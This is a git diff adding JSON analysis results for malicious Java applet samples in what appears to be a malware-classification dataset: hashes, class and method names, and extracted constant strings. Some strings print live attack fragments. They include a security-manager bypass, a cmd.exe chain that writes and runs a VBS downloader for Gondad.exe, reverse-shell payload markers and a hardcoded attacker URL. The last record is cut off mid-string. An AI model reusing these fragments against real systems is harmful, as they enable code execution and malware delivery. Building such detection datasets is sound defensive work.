a/java_classification/data/malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068.results b/java_classification/data/malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068.results new file mode 100755 index 0000000..1b33808 --- /dev/null +++ b/java_classification/data/malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HnbhrA.java", "class_name": "HnbhrA", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "BGPCAHifC", "TAwKc", "WPVsZgc"], "minor_version": 0, "const_pool_count": 147}}, "_id": "ca017ff7-34e7-4329-9460-1d2cec49375a", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.877696001396688}, "constant strings": ["/$3$k+ 1k\\x10\\x17\\t", "c-xtq", "*5 +\\x1617 $(", "/$3$k,*k\\x03,) \\n01501\\x1617 $(", "27,1 ", "close", " = &", "7 \"637vweh6eg", "g", "/$3$k,*k1(5!,7", "k = ", "", "/$3$k01,)k\\x17$+!*(", "+ =1\\x0c+1", "333#\"#\\'\\'\\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "098d08ec6d396242e25f6514ad6c4cc0f3104c4a", "file_name": "java_malicious/7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068", "_id": "ca017ff7-34e7-4329-9460-1d2cec49375a", "score": 0, "entropy": 3.422529388571347, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 19043, "ssdeep": "192:ijI0e4rzXp1dPmf3ze4Bx+8Rn/qJ96U3CvOW8lQdjnIfm8RZA5spjg+A0QqO3Vpb:90zr7zdmvze6+RW3Z7HTsc", "sha256": "7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068", "md5": "265952a462084ce763bde9cba1e19730", "parent_sha256": "7bdebee1817a494a13b0396f1c15e7ffee9d8005e6da90b00a2cc28fd3a2d068"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649.results b/java_classification/data/malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649.results new file mode 100755 index 0000000..606da4a --- /dev/null +++ b/java_classification/data/malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "gvcjmhuabewgvmujaekhcedh.java", "class_name": "wjrqfstrvkwwtlg/gvcjmhuabewgvmujaekhcedh", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "vdvagbsmgjwqw", "lmburuua"], "minor_version": 0, "const_pool_count": 148}}, "_id": "8a7a0f32-67aa-45ff-9af3-d39f95d0ff1b", "verbose": {"java": {"constant strings": ["4d57026d44154b", "wAbm", "5a06", "9Wfvv", "6a5749313a1255", "USq1", "4b2e", "l8hqdu", "5d6167", "akGrkH", "\\\\.", "48", "BfnF7SR", "14", "vj0ensr", "3b", "XyanjMK"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3a0f1652e87bfa172135ae42a22d666d5ca5c6d4", "file_name": "java_malicious/7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649", "_id": "8a7a0f32-67aa-45ff-9af3-d39f95d0ff1b", "score": 0, "entropy": 5.699444525081685, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2243, "ssdeep": "48:9RqcT3dy/qslfI1vfW4kjyR+yq9/sUDFilcH0vLb:ZTYdlA5NS7FxDFiseb", "sha256": "7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649", "md5": "429c06bf43882ce6d996b8076dd46268", "parent_sha256": "7c8f451612178e7ad8645a2e06f07eef015606b5ad4dc63c316ba1fd8d719649"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df.results b/java_classification/data/malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df.results new file mode 100755 index 0000000..a2cca7f --- /dev/null +++ b/java_classification/data/malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "EXmBxpcPgB/JmiwCfG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "59a1ef4c-50d1-4c8b-a3e2-ba10ee1cd92e", "verbose": {"java": {"constant strings": ["EXmBxpcPgB.JmiwCfG", ".class", "/EXmBxpcPgB.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "EXmBxpcPgB.dat", "URL", "", "https:", "EXmBxpcPgB/JmiwCfGTrustManager.class", "JmiwCfGTrustManager.class", "AESPassword", "EXmBxpcPgB/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "EXmBxpcPgB.JmiwCfGTrustManager", "useFor", "java.net.URLConnection", "EXmBxpcPgB.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "JmiwCfG -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "98076818628e45af1c850c5b97a6973e668616c3", "file_name": "java_malicious/7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df", "_id": "59a1ef4c-50d1-4c8b-a3e2-ba10ee1cd92e", "score": 0, "entropy": 6.153046960931156, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMjDUB6+WOXThmApxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tl68tmUyNvpvUrKYvCkgHzbDrDF", "sha256": "7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df", "md5": "0bd7dd1e04fd5765b79452eec2928c87", "parent_sha256": "7c9d613835b408a932c5d3ceb61b0bcb98b44d58798472b4a3427bd098e7c9df"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f.results b/java_classification/data/malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f.results new file mode 100755 index 0000000..93c5af0 --- /dev/null +++ b/java_classification/data/malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "FileFilter", "access_permissions": [], "interfaces": ["java/io/FilenameFilter"], "sourcefile": "FileFilter.java", "method_names": ["", "accept", "addExtension"], "minor_version": 3, "const_pool_count": 84}}, "_id": "cfa1545d-cd32-4b36-96fa-33072691d028", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e51c07aa6194f2ddfd2d9b4959c23a9c2a7fe3c1", "file_name": "java_malicious/7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f", "_id": "cfa1545d-cd32-4b36-96fa-33072691d028", "score": 0, "entropy": 5.474636086335623, "libmagic": "compiled Java class data, version 45.3", "file_size": 1186, "ssdeep": "24:c7mL+aAZm0YRkwzy1hHcX4skI29PFTOznbVT4tbEKu9JOKkklHq7:xLUo04zIcpsPFTOznbVs+9JOKkklK7", "sha256": "7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f", "md5": "bff4b17fe4c52092a36010d70b1ab4a4", "parent_sha256": "7cd660180f8320e7992f2710f523bf8674ef1391a9f4247770af3fe67fed1c2f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb.results b/java_classification/data/malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb.results new file mode 100755 index 0000000..a2b9ad2 --- /dev/null +++ b/java_classification/data/malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "sDLtGBIpiq/FnkvJGb", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "8a934e78-6afa-4793-b5da-88ea3076210a", "verbose": {"java": {"constant strings": ["sDLtGBIpiq.FnkvJGb", ".class", "/sDLtGBIpiq.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "sDLtGBIpiq.dat", "URL", "", "https:", "sDLtGBIpiq/FnkvJGbTrustManager.class", "FnkvJGbTrustManager.class", "AESPassword", "sDLtGBIpiq/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "sDLtGBIpiq.FnkvJGbTrustManager", "useFor", "java.net.URLConnection", "sDLtGBIpiq.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "FnkvJGb -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bc18af9a47a2ff7a3ac1de519d0f899c948deab1", "file_name": "java_malicious/7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb", "_id": "8a934e78-6afa-4793-b5da-88ea3076210a", "score": 0, "entropy": 6.148862285932635, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMTDUBZ+WDJThm4XNxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tBZJtmANyNvpvUrKYvCkgHzbDrDF", "sha256": "7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb", "md5": "a1e5e818a8ed9e6f4cb20f6cba6d52da", "parent_sha256": "7d8a18bd5117ed43b26ba4bbb7e00cfbe134700f160b6c7ce6c5bec2114548eb"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e.results b/java_classification/data/malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e.results new file mode 100755 index 0000000..3284e63 --- /dev/null +++ b/java_classification/data/malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImagMn.java", "class_name": "ImagMn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "joJOWJO", "bnbNBNBN", "bkBKBKBK", "hihIHIHI", "hjhJHJHJ", "bkbKBKBK", "nknKNK", "nknk", "nji", "start", "bjbjBJBJ", "jijIJIJIJI", "tyTYTYTY"], "minor_version": 0, "const_pool_count": 301}}, "_id": "a0e407d9-c1c7-4be1-806b-4ae73634d4a9", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "exit"}}}, "constant strings": ["L", "exit", "X", "http://217.23.7.170/test2.php", "uuyyee(", "uuyyeeICC_Transform.getImageLayout("]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d32fc774e6506697d36df9b3965278e6ca86a62f", "file_name": "java_malicious/7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e", "_id": "a0e407d9-c1c7-4be1-806b-4ae73634d4a9", "score": 0, "entropy": 5.793986170014818, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7266, "ssdeep": "192:eBGl02j7g8lrVvhBUR2n1NCtRORww0wLk:e0GKtVv8g1QtKwQk", "sha256": "7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e", "md5": "346f0a479b73b36260a2e822247205ea", "parent_sha256": "7dce5bc013eb483b6bf8d0aa6c00b35d94fb1d58c5e78d4a8239ce47e99b801e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68.results b/java_classification/data/malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68.results new file mode 100755 index 0000000..547c7f1 --- /dev/null +++ b/java_classification/data/malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "callBack"], "minor_version": 0, "const_pool_count": 77}}, "_id": "e49d6608-2d30-47a8-840c-8d09c8755234", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.899407133677853, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["js", "applet", "this.toString = function() {\\tjava.lang.System.setSecurityManager(null);\\tapplet.callBack();\\treturn String.fromCharCode(97 + Math.round(Math.random() * 25));};e = new Error();e.message = this;e", "calc.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "36b943498a50325a21da2498deac1042036a726a", "file_name": "java_malicious/7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68", "_id": "e49d6608-2d30-47a8-840c-8d09c8755234", "score": 10, "entropy": 5.560694168534669, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1459, "ssdeep": "24:KtQyQul2o69QJXJMmgL2+Iz4SgHWpC3pns6hokdzODfX/YN7db1j204/:KtQyFlP6mQm1rgHW83dsedgP0b1y//", "sha256": "7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68", "md5": "400b8ecb50bcdadd433d90c08ef21ad8", "parent_sha256": "7e7f0476e8d6bce37550c65041e8977f9b056d4ec226e0153cfb1e4f93e43a68"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c.results b/java_classification/data/malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c.results new file mode 100755 index 0000000..5bd3867 --- /dev/null +++ b/java_classification/data/malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "06242679-36fb-4f51-bc49-9f6a59193c33", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "uOXEv1ufSYs1SISEJ", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo gond=\"uOXEv1ufSYs1SISE\">>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\uOXEv1uf.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\uOXEv1uf.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3192e9d0da4957627d928b389237dbebe25289fd", "file_name": "java_malicious/7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c", "_id": "06242679-36fb-4f51-bc49-9f6a59193c33", "score": 0, "entropy": 5.8912015132608095, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/ilgB3pDhZ0A5bGBQ/1BG1PiTx0i6PcUdvXdGOqxM89TAG8PnI:CzGl6lgB3pDv1GBk13WRPc6dsxM89bUI", "sha256": "7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c", "md5": "d23f91b5627521c7e2c802cbeab73c89", "parent_sha256": "7e8fdb32bec14a099bdd49d79825c46dae8c8733b8544b3edf877482a40c507c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79.results b/java_classification/data/malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79.results new file mode 100755 index 0000000..93c29f4 --- /dev/null +++ b/java_classification/data/malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 109}}, "_id": "3609913e-898b-446b-aedf-74946cb385da", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pn,pN,pN,pz,0J,0N,pM,9k,KC,0C,0s,01,Op,dO,Qv,P3,0e,PE,PL,Kg,0d,LN,kT,0u,LL,ml,KQ,xU,po,p1,mv,l0,3B,TC,3z,6Z,KZ,SN,kq,xd,HN,kl,7p,jW,ta,Ix,hl,Og,pg,ps,0k,RL,9u,82,Op,nW,pc,0a,xs,ES,Br,Lb,Mp,TK,O5,Fn,ky,xx,h1,iW,pW,pW,pl,Kz,w7,7M,PU,o7,p4,5H,zg,7r,wa,WO,pW,Ow,pP,uk,JN,kh,oq,O0,3K,yK,1z,Lt,D6,a7,pW,pL,Ky,Lb,qv,2a,CU,8U,TU,Q5,PU,PK,OQ,Ft,La,Jb,y6,1s,bL,Ku,RV,3B,co,pu,ke,PD,5x,zM,Q3,K9,ld,na,uP,xr,Eb,UV,cO,sh,kw,xm,YV,ck,wQ,SU,TF,Ns,UP,xc,UY,Vp,Cs,8u,Ps,kM,Zz,a4,D6,Pm,X0,EU,Pp,3y,Pb,pP,Pf,36,7P,PK,OV,6d,Pm,Si,h7,pr,UW,v2,JE,Q2,sI,oq,FG,t2,zp,Yk,3O,2S,4r,aK,0U,jg,pp,uL,tk,Ob,v7,xp,Q0,Vn,kp,uw,LN,kT,4t,uc,Hu,SK,Es,fl,K2,VQ,0C,3X,ug,Cx,IW,9s,ql,md,CZ,ew,CY,Kv,oo,Nd,PE,hh,rr,TS,8I,QZ,k6,mU,Sk,jG,0z,KL,1w,Ke,OQ,eZ,GQ,Nl,KQ,NQ,4U,SK,ms,VL,KD,L0,KL,Ka,N5,Ls,3I,Ml,K5,TL,K4,CX,El,ks,np,Yk,s9,x7,pk,OY,oi,oL,NP,NT,NZ,LL,Xi,nN,jD,Nq,nZ,xK,R1,ct,sZ,jl,JQ,K6,Vt,Zf,Or,PV,3p,Ob,WP,Nu,Pp,hB,TP,tT,0D,zt,oD,o2,NQ,y0,mp,t2,Sv,N0,bq,ya,j4,oP,cc,WP,iT,mR,B0,iR,Nv,O3,Sr,NF,Np,aS,Cr,P0,xW,OG,9s,te,mW,Bp,06,Vp,7T,w4,fe,6S,RW,Mc,gQ,FP,Rp,vc,Up,UW,IC,Ee,4Q,XB,Pp,PS,QR,Ma,sT,r6,3b,wg,EV,7R,ER,Lp,ps,i1,CP,mC,DQ,Jp,WR,fp,JP,oc,cp,Wd,0F,Pa,qR,eP,9R,Q0,TS,dq,Jp,lR,mT,pP,0e,b2,t0,Wp,pT,6s,QR,ww,6P,XB,ur,wR,LP,P0,Mt,pF,PF,Rp,Tr,MR,PT,6u,12,uF,UQ,U3,QP,3C,XR,oa,Fg,5P,l4,v2,s3,gr,P6,PC,Ur,KV,Yt,10,Rv,8r,LP,PC,Qr,ub,PP,op,Wr,KU,8a,qp,b0,GP,Np,uq,ER,Na,Rc,ZR,m0,lR,zb,M3,iq,F3,TP,Ra,qv,5t,x3,Jp,T0,Tq,Jb,o1,FQ,WP,90,p0,Tr,xP,pb,zr,mb,KU,e1,as,QD,rP,lr,pP,MV,Pt,pv,R3,dP,kV,2p,vC,Qv,7b,ep,zp,Q2,Na,tQ,xs,eD,pp,kP,3s,it,sb,Pb,Vb,mP,kP,9T,0r,sp,XB,L2,o6,6p,GB,mT,pb,tB,MT,0b,n1,qr,up,8s,Jb,m0,X0,pv,0C,Qp,kF,P7,BB,sq,Gt,pS,HQ,qv,Pp,5c,d1,Cs,dU,4P,j0,er,M7,It,vQ,Ds,gt,0t,6U,13,eT,y0,XP,TR,xP,hP,ZC,Qb,Kw,EQ,aB,wv,7P,13,jR,mg,5d,q1,aQ,qF,Sq,tP,NQ,uP,kR,zr,Rp,WP,kQ,tP,ZR,mW,6b,Pq,Hb,tb,xR,P3,jS,QR,KQ,Z4,3v,4p,Wt,0r,NB,DP,1P,pR,ur,v2,Mr,Pp,Nu,1p,lr,LP,ps,dp,zB,mc,GP,P2,qg,UF,SQ,Tf,E0,37,4v,OP,n4,pT,pT,rD,qD,pu,fV,Rt,pP,1p,3E,ap,8C,B4,pP,4v,Pp,9p,J0,0q,rp,0T,pP,00,64,p6,QQ,GU,a3,VV,We,62,FV,ST,tp,8B,xP,6s,Rp,c1,q5,bu,1c,Tv,Tp,Yf,Rf,Wp,fU,11,qp,92,Cd,xb,zp,0e,ad,pD,pu,6p,0V,Xf,P3,0u,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cd7cce0a0cbe005404c8f5f57ddcf709377f6dc5", "file_name": "java_malicious/7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79", "_id": "3609913e-898b-446b-aedf-74946cb385da", "score": 0, "entropy": 5.888081158876424, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4069, "ssdeep": "96:RwbjG9FlyjPUHF3Rdbfkx3LB2NAevEq02pOwSOWLg26LNimeEu:6bjGXlyo9bK4vF1vShs25meEu", "sha256": "7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79", "md5": "c4cb6e93f7246b83d087dd89898f93bf", "parent_sha256": "7fbcd2874113164675536d4b06092873014930c434c6705dd1e1a4dcac7d2c79"}} \ No newline at end of file diff --git a/java_classification/data/malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510.results b/java_classification/data/malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510.results new file mode 100755 index 0000000..70520ce --- /dev/null +++ b/java_classification/data/malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "zltCq.java", "class_name": "zltCq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "XtGfQXgd", "wNOMGJW", "kIRema", "AEGrwoD", "idwxXT", "SHohtPxEQ", "QXHnhPcyV"], "minor_version": 0, "const_pool_count": 135}}, "_id": "ba005d96-cb4c-416f-abb6-2ba95a5ef6b2", "verbose": {"java": {"constant strings": ["", "NQQCR_NQANTCGU", "NLL", "B@UG", "TR_C", "PABUG", "BU@", "CTABDNLMCTKU@\\x06MH@K"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c2da36c16034b8a0b83eede8858043211c82d478", "file_name": "java_malicious/80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510", "_id": "ba005d96-cb4c-416f-abb6-2ba95a5ef6b2", "score": 0, "entropy": 5.809221350633559, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3452, "ssdeep": "96:4vFl+vSH5MhcA29qAWpXIEygDtyPXtMtIVd:4dl+6ZMd2TsSityPXtcIz", "sha256": "80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510", "md5": "38e6731db0c637105f4768b571aadcaa", "parent_sha256": "80b7c60171c463681a7a371e8c6d6b14fb9812a0afbb51db33778c888d494510"}} \ No newline at end of file diff --git a/java_classification/data/malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a.results b/java_classification/data/malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a.results new file mode 100755 index 0000000..e442462 --- /dev/null +++ b/java_classification/data/malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/hrgdfaybp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": [""], "minor_version": 0, "const_pool_count": 16}}, "_id": "ab268afe-4e46-4a7c-8de7-a3d21210a97f", "verbose": {"java": {"constant strings": ["k604w6sbd8vqcryuz2"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "16db0e4f99412b9b8ca99a11b8daea6faec0bb76", "file_name": "java_malicious/80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a", "_id": "ab268afe-4e46-4a7c-8de7-a3d21210a97f", "score": 0, "entropy": 5.132333672144046, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 227, "ssdeep": "6:TEegEoXMONszswv+RvYKyS5KT36hWlYllMu7PI/:TEeg/MONSDmjwIquE", "sha256": "80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a", "md5": "bd3a1b406184a3e8a4b5f2fb47e23f8f", "parent_sha256": "80cdc38872669545d42a3b1b9cbf1c6b4a11b636c31eac8f6ce795782091d44a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc.results b/java_classification/data/malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc.results new file mode 100755 index 0000000..06810cf --- /dev/null +++ b/java_classification/data/malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/crbwbqeh", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "qhbpmecncplsmjf", "init", "uginmcvtwqhkukusv", "imcjzbdigocldavtnjm", "euwtejdbiuhnfieg", "zdpnvyndjbncfgkqucl", ""], "minor_version": 0, "const_pool_count": 190}}, "_id": "da090ffb-dc16-4942-b310-20debdc5d9f7", "verbose": {"java": {"constant strings": ["xaayuizjzbgdsbdpowzhnnuth", "qfbsplopbagcptfizbmwtsfqgc", "b", "ghiversneoebdqombvawnuysm", "qaofhbortdsixhpoopmrg", "bgdxewpvkuhyahgfdvsf", "rdkhfewiktwcnpiek", "xyeqpfhjwgjvcsjgqifznpobza", "lbnxzreefwnazvjznbnohsotizs", 